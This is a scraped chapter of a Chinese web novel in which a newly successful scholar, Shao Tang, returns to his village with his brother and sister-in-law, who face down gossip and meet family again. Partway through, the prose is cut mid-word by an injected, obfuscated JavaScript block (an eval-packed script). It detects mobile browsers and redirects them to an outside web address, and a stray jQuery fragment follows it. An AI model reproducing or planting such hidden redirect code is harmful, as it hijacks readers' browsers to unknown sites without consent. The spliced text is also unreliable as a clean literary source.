180. 第一百八十章
作品:《农家娘子改造日记》 邵堂被她问到了,茫然地摇摇头。
邵远却反应了过来,迟疑道,“……我记得,当初在清墟观时,跟奉家同行的那个小娘子就姓严?”
朱颜给了他一个赞许的眼神:“记性不错。”
邵堂有点想起来,但还是有点不确定:“我和她都没说上话。”
朱颜笑而不答,反问:“你再好好想想。”
不提醒还好,一提醒邵堂倒觉察出一点不对劲来,试探道:“该不会,该不会是在清墟观偏道上遇见的那个丫鬟吧?”
他仔仔细细回想,这么久以来,他能接触到大家闺秀的机会并不多,很快就排查出来了。
朱颜也是佩服他了,邵堂这个人,脑子里就没那些情情爱爱的,更不会记得这些风花雪月的桥段,若不是自己提醒,只怕他一辈子也想不起来。
邵堂顿时有种恍然大悟的感觉:“怪不得!怪不得嘛!”
邵远没听说过这件事,茫然地问朱颜。
朱颜则将当日情形与他说来。
邵远啧啧两声:“你小子,真是命好啊!”
邵堂也高兴,但却难得面露得意道:“不是我命好,是我自己本事才学过硬,否则一辈子到不了汴京,又如何成就这段姻缘?”
这倒是。
三人都笑起来,也算是认同了他说的话。
官船在邝州渡口停靠,在渡口换了马车到升元县,再折小船回到了绿河村。
三年多不见,绿河村变化并不大。
令几人没想到的是,得知邵堂他们回来,码头上并没有锣鼓喧天的热闹景象,反而只有寥寥几人站在那儿说话,看到有船来,都交头接耳,时不时张望几眼。
此情此景,朱颜不由地道:“看来你被易家告状的事也传回来了,大家都躲着呢。”
邵堂冷笑一声:“夏行宜还真是做得齐全,没弄倒我,也要把消息传回来气死老东西,他之前命这么硬,怎么现在一点风吹草动就成这样?”
“这可不是什么小事。”朱颜笑道,“要是易员外父女成功了,此时坐大牢的可就是你了,他可指望了你半辈子呢,这哪里是什么“风吹草动”,瞧村里这些看热闹的人也晓得了,恐怕这些日子也受了不少的冷嘲热讽。”
从十五岁中秀才,而后三年落第开始,邵堂就没少受过人背后讥讽,怎不知其中心酸。
即便邵父成了半个瘫子,可只要他成了阁老的孙女婿,又是进士老爷,以后为官做宰的,该享的福报作为邵堂的爹,他一样都少不了,就算死了邵堂也得给他风光大葬才行。
邵堂心里觉得很憋屈。
他不否认爹娘也算是全力供给过他十几年,可当初为了将他留在邝州做的那些事,他也恨在心里,更别提若不是他擅自做主定下易家这门本不该有的婚事,也就不会有汴京这一劫难了。
只要严家稍微反悔,他就再无可能。
因此他觉得,功过相抵,无论如何,自己对得起他们。
他沉默,朱颜很注意观察他的神态,见他神色郁然,便主动劝解:“不过呢,你也不必太往心里去,先回去看看情况,实在不行从外面请个口风严谨些的大夫,细细为他诊治一番,看能不能再想辙。”
的确只有这个法子,邵堂呼出一口浊气,点点头。
正值下晌,四月的白日里还不算太热,渡口不远处的村口大树底下,的确只有几个村里的妇人,或是搓麻绳,或是剥豆,还有几个小孩在一旁追着玩。
其中一个小孩看到渡口来船,飞快往村东头跑去。
妇人们看到后,认出是邵家的老二老三,其中一个反应过来:“邵三郎?你不是坐大牢去了吗?”怎么会回村里来了?
朱颜接话:“你听谁说的?”
那妇人年纪大,朱颜并不认识,见她撇撇嘴,却不敢瞎嚷嚷,小声道:“城里来的人,去里正家时说了好大一通,说什么邵堂得罪了大官,被抓起来了,功名那些都没了,以后要在牢里老死,说不定还要发配——”
“可不敢胡说!”另一个妇人看神色不对,赶紧拉了拉她一把,“肯定是误传,是误传!人家这不是好好的嘛!”
朱颜当然看到对方的小动作,心里疑惑这人到底是谁,已经侧头看邵远邵堂都忍着气,尤其是邵堂,脸上跟锅底一样了。
她忍住笑,装作气恼的模样,叉腰问:“来村里胡说八道的那人是谁?我三弟好端端的在这呢!不但在这,还中了进士,以后前程好着呢!教我晓得是谁,撕了她的嘴!”
方才还一副看热闹的其余人都面面相觑。
什么,她们没听错吧?邵堂中进士了?
还没等这些人反应过来,立刻有妇人谄媚着帮腔:“是啊是啊,你家好日子要来了,这些烂舌根的,逮着个不成影的话儿就拿回来胡说一通,简直是贱皮子!”
“就是,邵远家的,要是我听到是谁背后议论,一定第一个来告诉你!”
“我也帮你留着意!”
“我也是!”
朱颜目的已经达到了,没空和她们继续纠缠,冷着脸说了两句不轻不重的警告,几人又往村东头去。
瞧灵姐还目瞪口呆地看着她娘,邵远捏捏她的小脸儿:“怎么样,没见过你娘这么“撒泼”的样吧?”
灵姐吐了吐舌头:“没见过,不想见!”
谁也没想到她会这样回答,三个大人都齐齐笑了起来。
走了几步迎面就来了人。
“二弟,二弟妹,三弟!”走在最前面招手的是喘着粗气的周四娘,后头还跟着朗哥。
朱颜笑着迎上去和她招呼。
周四娘让朗哥喊人,朗哥抿唇低头笑,一一喊人。
比起从前倒是很不一样了。
寒暄过后,周四娘伸手要去接灵姐:“你们一路来肯定累,我来抱她吧。”
“让她自己走吧。”朱颜说,“一路上不是坐船就是坐车,自己走一走也好。”
灵姐被邵远抱得好好的,忽然要下地自己走,就不愿意了,在爹怀里拧来拧去。
不过朱颜发话,邵远也不得不从,就将灵姐放下来,“走一走,明日爹带你去山上玩。”
灵姐这才笑起来,迈开步往前走。
“灵姐长得真好,随了你,皮肤又白,模样也俊。”周四娘真心夸道。
朱颜也不客气,“是随我。”
其实灵
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17336645|185013||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
姐长相和邵远更像一些,但这样的好听话朱颜也爱听,都收下了。
邵堂摸了摸侄儿的头,一面走一面说:“你学业上如何?陶先生是有名的老先生了,他的课你可要好好上。”
朗哥撇了撇嘴,“是。”
邵堂看出他的敷衍,暗自摇摇头。他当年在朗哥这么大年纪的时候,还只能在隔壁村学里读书,若不是他自己早用功晚用功,天分在前努力在后,怎么可能中秀才?
如今朗哥有好先生,却并不珍惜,也只能证明他并不适合读书这条路,还该另做打算才是。
回到熟悉的小院里,莲花正在东屋门口捧着绣绷穿针,看到几人进来,连忙迎上来招呼人。
虚岁十三的女孩子,比起从前抽条不少,快和周四娘差不多高了,养了几年皮肤也白了些,笑起来斯斯文文的,看着朱颜喊二婶婶,又喊了二叔、三叔。
最后看向灵姐,更加和善地冲她一笑:“灵姐长大了不少呢。”
朱颜看向周四娘。
比起两个孩子,周四娘的变化更大,看着笑容自信爽朗许多,一路上话也多了不少。
周四娘要接包袱,邵远躲开她的手:“挺重的,大嫂,还是我自己来吧。”
“你大哥他肯定是去后村逮鸡鸭了,只晓得你们要回来,不晓得哪一日,只好让朗哥每天都去渡口等着,有消息就回来告诉我们。”周四娘只好作罢,去了西屋开了门:“都是打扫干净了,你们看看,窗户也重新糊过的。”
朱颜进去看了一圈,桌面柜子上的确都是干净的,窗户纸用的是油纸布,床上的被褥是新的,屋子里还有淡淡的艾草味,显然熏过去了灰味。
肯定是周四娘置办的,朱颜冲周四娘一笑:“多谢大嫂费心了。”领受了这份心意。
周四娘正要说话,却听外头有人一声“三郎”,几人连忙看过去。
邵堂一进门就看到正屋门口站着喊他的老妇人。
杨桂花早已没有朱颜第一回见她的泼辣刁钻,灰扑扑的裙子,鬓发花白了好些,似乎是习惯了没表情,以至于忽然见到回来的邵堂,原本该做惊讶惊喜的神情却怎么也做不出来,最后成了个怪异的笑。
“娘。”邵堂平淡地喊她。
杨桂花眼里闪出泪光来,沉沉地“哎”了一声。
“你爹也听到你回来了,他高兴呢,你快进屋看看他。”
邵堂不觉得邵父会高兴,对此他只是沉默,侧头看了一眼站在西屋跟前的几人,才抬了脚步:“好。”
正屋连着堂屋开了扇门,因此从正门能进,堂屋也能进。刚才杨桂花是从堂屋出来的,因此邵堂也从这里进。
然而才跨步进堂屋,就隐约闻到一股难以言喻的味道。
这股味道时隐时现,他皱皱眉,继续往里走,发现越往里走越明显,显然源头就是挂着帘子的正屋里散发出来的。
停顿一下,邵堂掀开帘子走进去。
还是那个样子,只不过屋里没开窗户,外头天阴,加上又没点灯,看上去光线不够亮,只看到邵父半靠半躺在床上,至于面上什么神情却看不清楚。
杨桂花去支开窗扇,光线透进来,才让他勉强看清楚。

